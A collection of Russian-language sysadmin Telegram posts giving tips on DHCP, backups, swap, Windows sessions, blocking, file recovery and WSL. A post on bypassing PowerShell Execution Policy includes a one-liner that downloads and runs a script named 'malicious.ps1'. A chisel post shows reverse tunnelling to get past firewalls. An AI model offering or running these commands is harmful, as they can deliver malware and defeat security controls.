DHCP (Dynamic Host Configuration Protocol) - один из самых базовых сетевых протоколов, который знаком любому администратору. Однако, если его не изучать специально, можно упускать важные нюансы.
Клиент отправляет запрос на получение настроек широковещательно, поэтому сервер должен находиться в том же широковещательном домене. Если сеть сегментирована, то используется DHCP Relay, который пересылает запросы между сегментами.
Сервер слушает на UDP 67
Клиент принимает ответы на UDP 68
Помимо IP-адреса, маски и шлюза, сервер может передавать множество параметров:
Когда клиент получает IP-адрес, он арендует его на определенное время.
По истечении половины аренды клиент пытается продлить ее
Если продление не удалось, адрес остается в использовании до конца аренды
После истечения аренды клиент снова ищет сервер для получения нового IP
По MAC-адресу
По ClientID (Machine-ID), который в ряде случаев имеет приоритет
DHCP-сервер не гарантирует, что в сети не будет конфликтов IP-адресов. Он может проверять доступность IP перед выдачей, но это не исключает коллизий.
Иногда в сети появляется «нелегальный» DHCP-сервер. Например, сотрудник подключает свой домашний роутер к офисной сети, и часть клиентов начинает получать IP-адреса от него. В результате доступ в сеть ломается.
Решить проблему помогает DHCP Snooping - механизм защиты на уровне коммутаторов:
#network #DHCP
Please open Telegram to view this post
VIEW IN TELEGRAM
👍19🔥2
Начиная с Windows 10 1511, Microsoft изменила логику выбора принтера по умолчанию. Теперь система автоматически назначает последний использованный принтер в текущем местоположении.
Разбираемся, как отключить автоназначение принтера в Windows. Запретить системе менять принтер по умолчанию несколькими способами:
Отключите опцию «Let Windows manage my default printer» в
Настройки → Устройства → Принтеры и сканеры.
REG ADD "HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" -v LegacyDefaultPrinterMode /t REG_DWORD /d 1 /f
Настройте параметр «Turn off Windows default printer management» в разделе:
User Configuration → Administrative Templates → Control Panel → PrintersПосле применения настроек Windows больше не будет менять принтер автоматически
#windows #printers
Please open Telegram to view this post
VIEW IN TELEGRAM
👍15🤡3🔥1
Forwarded from Network Quiz
"Network Quiz" - канал с ежедневными квизами по сетям.
Выберите из списка публичный IP-адрес:
Выберите из списка публичный IP-адрес:
Anonymous Quiz
14%
19%
37%
30%
👍10👎10😱5❤3🔥2
rsync - это инструмент для синхронизации файлов и каталогов. Пример команды для копирования логов на удалённый сервер:
rsync -avz --delete /var/log/ user@backup-server:/backup/logs/
-a - архивный режим (сохраняет права и атрибуты)
-v – показывает процесс копирования
-z – сжатие данных при передаче
--delete – удаляет на резервном сервере файлы, которых нет в исходной папке
ssh-keygen -t rsa
ssh-copy-id user@backup-server
rsync запускался автоматически, добавим задание в cron:
crontab -e
Пример задания для ежедневного копирования логов в 3 часа ночи:
0 3 * * * rsync -avz --delete /var/log/ user@backup-server:/backup/logs/
0 3 * * * rsync -avz --delete /var/log/ user@backup-server:/backup/logs/ >> /var/log/backup.log 2>&1
Проверить, срабатывает ли задача, можно командой:
grep rsync /var/log/syslog
#linux #backup
Please open Telegram to view this post
VIEW IN TELEGRAM
👍16❤3
PowerShell в Windows использует Execution Policy для защиты от запуска неподписанных или вредоносных скриптов. Однако часто возникает ситуация, когда необходимо обойти эти ограничения. Разберём популярные способы.
powershell -ExecutionPolicy Bypass -File noscript.ps1
Позволяет запустить скрипт без изменения системных настроек.
Set-ExecutionPolicy Unrestricted -Scope Process
powershell -Command "Start-Process notepad.exe"
Хорошо подходит для разового выполнения команд.
IEX (New-Object Net.WebClient).DownloadString('http://example.com/malicious.ps1')
Удобно для удалённого выполнения команд.
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" -Name ExecutionPolicy -Value Unrestricted
Даёт постоянный эффект.
System.Management.Automation.PowerShell.Create().AddScript("Start-Process calc.exe").Invoke();
Подходит для внедрения в программы.
#windows #noscripts
Please open Telegram to view this post
VIEW IN TELEGRAM
👍14
Как узнать, кто активно использует swap в Linux?
1️⃣ Проверка через
1. Откройте top
2. Нажмите f, затем выберите Swap (s)
3. Подтвердите q - появится колонка с потреблением swap
Однако top не всегда корректно отображает эти данные, поэтому в
2️⃣ Точный способ через
✏️ Bash-скрипт для проверки. Можно использовать простой скрипт, который покажет, какие процессы активно используют swap:
Этот скрипт проверяет VmSwap для каждого процесса и выводит общий объём использованного swap.
🌟 Быстрая проверка в одну команду. Если нет желания писать скрипты, можно просто выполнить:
Эта команда отобразит процессы, отсортированные по объёму используемого swap.
#linux #swap #monitoring
🧑💻 NetworkAdmin
top. В top по умолчанию нет колонки с использованием swap, но её можно включить:1. Откройте top
2. Нажмите f, затем выберите Swap (s)
3. Подтвердите q - появится колонка с потреблением swap
Однако top не всегда корректно отображает эти данные, поэтому в
htop колонку со swap вовсе убрали, чтобы не вводить пользователей в заблуждение./proc. Более надёжный способ – заглянуть в файлы /proc/$PID/smaps или /proc/$PID/status:/proc/$PID/smaps – самый точный, но требует сложных вычислений/proc/$PID/status – содержит суммарное значение в поле VmSwap, удобнее для быстрого анализа
#!/bin/bash
SUM=0
OVERALL=0
for DIR in $(find /proc/ -maxdepth 1 -type d -regex "^/proc/[0-9]+"); do
PID=$(basename $DIR)
PROGNAME=$(ps -p $PID -o comm --no-headers)
for SWAP in $(grep VmSwap $DIR/status 2>/dev/null | awk '{ print $2 }'); do
let SUM=$SUM+$SWAP
done
if (( $SUM > 0 )); then
echo "PID=$PID swapped $SUM KB ($PROGNAME)"
fi
let OVERALL=$OVERALL+$SUM
SUM=0
done
echo "Overall swap used: $OVERALL KB"
Этот скрипт проверяет VmSwap для каждого процесса и выводит общий объём использованного swap.
for file in /proc/*/status; do
awk '/VmSwap|Name/{printf $2 " " $3} END { print ""}' $file
done | sort -k 2 -n -r | less
Эта команда отобразит процессы, отсортированные по объёму используемого swap.
#linux #swap #monitoring
Please open Telegram to view this post
VIEW IN TELEGRAM
👍10❤4
imap-backup - удобный инструмент для скачивания писем из любого IMAP ящика и сохранения их локально в формате mbox.Перенос почты: например, если нужно забрать письма из облачного сервиса.
Архивирование старых писем: можно скачать только письма за последние 3 года (или другой период) и хранить их локально.
Бэкап на случай утери доступа к облачным ящикам.
apt install rubygems -y
gem install imap-backup
imap-backup setup
Или создать конфиг вручную (
~/.imap-backup/config.json). Пример для Яндекса:
{
"version": "2.0",
"accounts": [
{
"username": "zabbix@networkadmin.ru",
"password": "pass",
"local_path": "/root/.imap-backup/zabbix_networkadmin.ru",
"folders": [],
"server": "imap.yandex.ru"
}
]
}
imap-backup скачивает письма в отдельный каталог.
Каждая IMAP-папка - это отдельный файл mbox.
Формат mbox можно легко открыть в Thunderbird с помощью ImportExportTools NG.
#backup #email
Please open Telegram to view this post
VIEW IN TELEGRAM
👍18
В Active Directory можно хранить фото пользователей, которое затем отображается в Outlook, Word, Excel, Lync, SharePoint и даже используется в качестве аватарки в Windows.
$photo = [byte[]](Get-Content C:\PS\admin_photo.jpg -Encoding byte)
Set-ADUser vvkuzmin -Replace @{thumbnailPhoto=$photo}
Теперь фото появится в поддерживаемых приложениях и в системе.
#windows #activedirectory
Please open Telegram to view this post
VIEW IN TELEGRAM
👍13
Chisel - это удобный инструмент для создания HTTP-туннелей и проброса трафика через ограниченные сети. Он позволяет прокидывать TCP/UDP-соединения через HTTP/HTTPS, обходя firewall'ы и NAT. Полезен для удалённого администрирования, тестирования безопасности и обхода сетевых ограничений.
chisel server --port 8080 --reverse
chisel client http://server-ip:8080 R:3389:127.0.0.1:3389
Теперь можно подключаться к удалённому серверу по
localhost:3389.#network
Please open Telegram to view this post
VIEW IN TELEGRAM
5👍16🔥4👌1
Пример функции с аргументами:
#!/bin/bash
log_message() {
local level="$1"
local message="$2"
echo "[$level] $message"
}
log_message "INFO" "Скрипт запущен"
log_message "ERROR" "Произошла ошибка"
Пример работы с массивами:
#!/bin/bash
servers=("server1" "server2" "server3")
for srv in "${servers[@]}"; do
echo "Подключаюсь к $srv..."
done
Разбираем JSON и получаем данные:
#!/bin/bash
json='{"user": "admin", "role": "root"}'
user=$(echo "$json" | jq -r '.user')
role=$(echo "$json" | jq -r '.role')
echo "Имя пользователя: $user"
echo "Роль: $role"
#bash
Please open Telegram to view this post
VIEW IN TELEGRAM
👍9❤2
Если вы ищете простой и надежный способ бэкапа и восстановления Linux-систем, попробуйте ReaR (Relax and Recover). Этот инструмент позволяет создавать резервные копии как физических серверов, так и виртуальных машин, формируя загрузочный ISO-образ и архив данных.
apt install rear genisoimage syslinux nfs-common
Этот метод удобен, так как не требует остановки системы и работает без установки дополнительных агентов.
OUTPUT=ISO
OUTPUT_URL=nfs://192.168.13.50/backup
BACKUP=NETFS
BACKUP_URL=nfs://192.168.13.50/backup
BACKUP_PROG_EXCLUDE=("${BACKUP_PROG_EXCLUDE[@]}" '/media' '/var/crash')
Запуск бэкапа:
rear -v -d mkbackup
На выходе получаем файлы:
backup.tar.gz, rear-debian.iso, README
Запускаем восстановление:
rear -v -d recover
ReaR автоматически восстанавливает разметку дисков, LVM, файловые системы и сетевые настройки.
#linux #backup
Please open Telegram to view this post
VIEW IN TELEGRAM
👍18❤2😡1
В десктопных версиях Windows 10 и 11 существует лимит на максимальное количество одновременных сетевых подключений – 20 активных сессий. Если этот предел превышен (например, при расшаривании папки или сетевого принтера), появляется ошибка:
🚫 Дополнительные подключения к этому удаленному компьютеру сейчас невозможны, так как их число достигло предела.
Microsoft искусственно ограничивает использование десктопных версий Windows в качестве сервера, предлагая приобрести лицензию Windows Server, где подобных ограничений нет.
Просмотр активных подключений:
net session
Отключение всех сессий с конкретного IP:
net session \\192.168.21.11 /d /y
Сокращение таймаута автоматического отключения неактивных клиентов (по умолчанию 15 минут, можно снизить до 5):
net config server /autodisconnect:5
$maxSessions = 18 # Устанавливаем порог (лучше немного ниже лимита)
$activeSessions = (query session 2>$null | Measure-Object -Line).Lines
if ($activeSessions -ge $maxSessions) {
Write-Host "Превышено допустимое количество подключений! Отключаем неактивные сессии..."
Get-CimInstance Win32_ServerConnection | ForEach-Object {
Net Session \\$_.ComputerName /DELETE /Y
Write-Host "Отключена сессия с $_.ComputerName"
}
} else {
Write-Host "Текущих подключений: $activeSessions. Все в пределах нормы."
}
Этот скрипт:
Проверяет количество активных подключений.
Если превышен заданный порог (например, 18 сессий), он отключает неактивные.
Выводит информацию в консоль.
Добавить исполнение в планировщик:
schtasks /create /tn "AutoCloseSessions" /tr "powershell.exe -File C:\Scripts\AutoCloseSessions.ps1" /sc minute /mo 5 /ru SYSTEM
#windows #sessions
Please open Telegram to view this post
VIEW IN TELEGRAM
👍17
В корпоративной среде возникают задачи ограничения доступа к определенным сайтам и приложениям. В Windows это можно реализовать несколькими способами: через GPO (Group Policy Object), PowerShell, брандмауэр (Windows Firewall) и DNS-фильтрацию. Сегодня разберем эти методы блокировки.
Конфигурация пользователя → Политики → Административные шаблоны → Компоненты Windows → Internet Explorer → Панель управления Интернет-параметрами
Set-Content -Path "C:\Windows\System32\drivers\etc\hosts" -Value "127.0.0.1 vk.com`n127.0.0.1 youtube.com" -Force
Этот скрипт можно развернуть через GPO при входе пользователя в систему.
Добавляем правило в брандмауэр Windows для блокировки сайтов:
New-NetFirewallRule -DisplayName "Block Facebook" -Direction Outbound -Action Block -RemoteAddress "157.240.0.0/16"
Этот метод хорош тем, что работает даже в Chrome, Yandex и других браузерах.
$ips = [System.Net.Dns]::GetHostAddresses("youtube.com") | Select-Object IPAddressToString
New-NetFirewallRule -DisplayName "Block YouTube" -Direction Outbound -Action Block -RemoteAddress $ips.IPAddressToString
Конфигурация пользователя → Административные шаблоны → Система
Конфигурация компьютера → Политики → Настройки Windows → Параметры безопасности → Политики ограничения программ
Добавляем правило для C:\Users*\AppData\Local\Telegram Desktop.
$blockedApps = @("telegram.exe", "chrome.exe", "utorrent.exe")
while ($true) {
Get-Process | Where-Object { $_.ProcessName -in $blockedApps } | Stop-Process -Force
Start-Sleep -Seconds 5
}
Этот скрипт можно добавить в автозагрузку через GPO или Task Scheduler.
New-AppLockerPolicy -Xml "C:\Policies\AppLocker.xml" -RuleCollectionType Executable
Можно указать список разрешенных программ, и все остальные просто не запустятся.
#windows #security
Please open Telegram to view this post
VIEW IN TELEGRAM
👍12
Удаление файлов - дело секундное, но восстановление их может быть нетривиальной задачей. В файловых системах ext4 и XFS удаленные файлы могут оставаться на диске до тех пор, пока их блоки не будут перезаписаны. Поговорим про основные способы восстановления.
extundelete позволяет восстановить файлы, если файловая система не была перезаписана.Установка:
sudo apt install extundelete
Размонтируем диск (например, /dev/sdb1):
sudo umount /dev/sdb1
Восстановим все удаленные файлы:
sudo extundelete /dev/sdb1 --restore-all
Или восстановим конкретный файл:
sudo extundelete /dev/sdb1 --restore-file /home/user/deleted.txt
Файлы будут сохранены в каталоге RECOVERED_FILES.
Открываем диск:
sudo debugfs /dev/sdb1
Показываем последние удаленные файлы:
lsdel
Восстанавливаем файл по inode:
dump <номер inode> recovered_file.txt
Установим утилиту:
git clone https://github.com/ianka/xfs_undelete.git
cd xfs_undelete
make
sudo make install
Запускаем сканирование диска и восстановление файлов:
sudo xfs_undelete -d /dev/sdb1 -o /mnt/recovery
Все найденные файлы окажутся в
/mnt/recovery.#linux #recovery
Please open Telegram to view this post
VIEW IN TELEGRAM
👍13
ioping - это удобный инструмент для проверки производительности дисков в Linux. Работает по принципу ping, но для дисковой подсистемы: позволяет измерить задержки ввода-вывода (I/O latency), IOPS и скорость последовательного чтения. Утилита есть в стандартных репозиториях большинства дистрибутивов.
sudo apt install ioping#для Debian/Ubuntu
sudo yum install epel-release && sudo yum install ioping#для CentOS
sudo pacman -S ioping#для Arch Linux
ioping .
4 KiB <<< . (ext4 /dev/sda2 19.0 GiB): request=3 time=3.54 ms
4 KiB <<< . (ext4 /dev/sda2 19.0 GiB): request=4 time=3.68 ms
Это аналог ping, но показывает время выполнения дисковых операций.
ioping -R /dev/sda
21.6 k requests completed in 2.93 s, 84.5 MiB read, 7.38 k iops, 28.8 MiB/s
Параметры:
-R - стресс-тест диска для оценки его IOPS.
-c 10 - ограничение на 10 запросов (по умолчанию тест идет бесконечно).
ioping -RL /dev/sda
8.63 k requests completed in 2.79 s, 2.11 GiB read, 3.10 k iops, 774.3 MiB/s
Параметры:
-RL - измерение скорости последовательного чтения.
-s 64k - размер блока (по умолчанию 4 KiB).
ioping -c 10 -D /tmp
Флаг -D указывает ioping работать в RAM-диске /tmp, что полезно для диагностики производительности оперативной памяти.
-c N - ограничение на N запросов.
-s SIZE - размер блока (по умолчанию 4 KiB).
-q - тихий режим, без вывода каждого запроса.
-i TIME - интервал между запросами (например, -i 0.2s).
-B - вывод в формате CSV (удобно для логов).
#linux #ioping #storage
Please open Telegram to view this post
VIEW IN TELEGRAM
👍12
Автоматическое монтирование сетевых папок через GPO
Чтобы автоматически монтировать сетевые папки с файлового сервера в качестве сетевых дисков, можно использовать предпочтения групповых политик (GPP).
📎 Основные возможности:
📍 Подключение сетевых дисков в зависимости от групп безопасности AD.
📍 Автоматическое назначение дисков для отделов и отдельных пользователей.
📍 Возможность подключения личного диска для каждого сотрудника.
👥 Гибкая настройка по группам
Например, можно настроить так, чтобы у всех сотрудников одного отдела автоматически подключалась папка с общими документами. Для этого достаточно добавить пользователя в соответствующую группу AD, и при следующем входе в систему у него появится нужный сетевой диск.
🔒 Персональные диски
Через GPO можно подключать не только общие, но и персональные диски для каждого сотрудника, например, для хранения личных документов.
Такой подход автоматизирует управление сетевыми ресурсами и избавляет от необходимости вручную подключать диски каждому пользователю.
#windows #network
🧑💻 NetworkAdmin
Чтобы автоматически монтировать сетевые папки с файлового сервера в качестве сетевых дисков, можно использовать предпочтения групповых политик (GPP).
Например, можно настроить так, чтобы у всех сотрудников одного отдела автоматически подключалась папка с общими документами. Для этого достаточно добавить пользователя в соответствующую группу AD, и при следующем входе в систему у него появится нужный сетевой диск.
Через GPO можно подключать не только общие, но и персональные диски для каждого сотрудника, например, для хранения личных документов.
Такой подход автоматизирует управление сетевыми ресурсами и избавляет от необходимости вручную подключать диски каждому пользователю.
#windows #network
Please open Telegram to view this post
VIEW IN TELEGRAM
👍11😁1
Windows Subsystem for Linux (WSL) позволяет запускать Linux-приложения прямо в Windows, включая консольные утилиты, серверные сервисы и даже графические программы. Разберём, как настроить WSL и запускать Linux-приложения через PowerShell.
wsl --install
После этого система скачает и установит последнюю версию Ubuntu. Если WSL уже установлен, можно обновить ядро:
wsl --update
wsl ls -la
wsl uname -a
wsl cat /etc/os-release
wsl htop # Мониторинг процессов
wsl python3 # Запуск Python
Графические приложения (если установлен WSLg) можно запускать так:
wsl firefox
wsl /bin/bash -c "./mynoscript.sh"
wsl -d Ubuntu -- /etc/init.d/ssh start
#WSL #linux #windows
Please open Telegram to view this post
VIEW IN TELEGRAM
👍17❤2